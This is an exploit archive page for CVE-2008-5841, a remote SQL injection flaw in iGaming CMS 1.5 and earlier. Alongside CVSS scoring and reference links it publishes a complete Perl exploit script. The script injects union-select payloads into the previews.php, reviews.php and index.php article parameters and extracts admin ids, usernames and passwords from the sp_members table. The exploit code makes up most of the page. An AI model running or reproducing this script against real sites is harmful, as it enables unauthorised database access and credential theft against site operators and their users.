Exploit: iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit ( Ascii Version )

Search:
WLB2

iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit

Published
Credit
Risk
2009.01.07
StAkeR
High
CWE
CVE
Local
Remote
CWE-89
CVE-2008-5841
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

#!/usr/bin/perl
# ----------------------------------------------------------
# iGaming <= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($one,$two,$exec,$host,$http,$xxx,$view);

$view =
"'%20union%20select%200,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8%20from%20sp_members%20WHERE%20id='
1/*";
$exec =
"'%20union%20select%201,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3%20from%20sp_members%20where%20id='1/*";
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http->agent("Mozilla/4.5 [en] (Win95; U)");
$http->timeout(1);


if($host !~ /^http:\/\/(.+?)$/)
{
print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\n";
print "[?] Usage: perl $0 http://[path]\n";
exit;
}
else
{
$one = $http->get($host.'/previews.php?browse='.$exec);
$two = $http->get($host.'/reviews.php?browse='.$exec);
$xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);

if($one->is_success or $two->is_success or $xxx->is_success)
{
die "$1\n" if $one->content =~ /%(.+?)%/;
die "$1\n" if $two->content =~ /%(.+?)%/;
die "$1\n" if $xxx->content =~ /%(.+?)%/;
}
else
{
die "[+] Exploit Failed!\n";
}
}

References:

http://www.securityfocus.com/bid/31340
http://www.milw0rm.com/exploits/6540

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version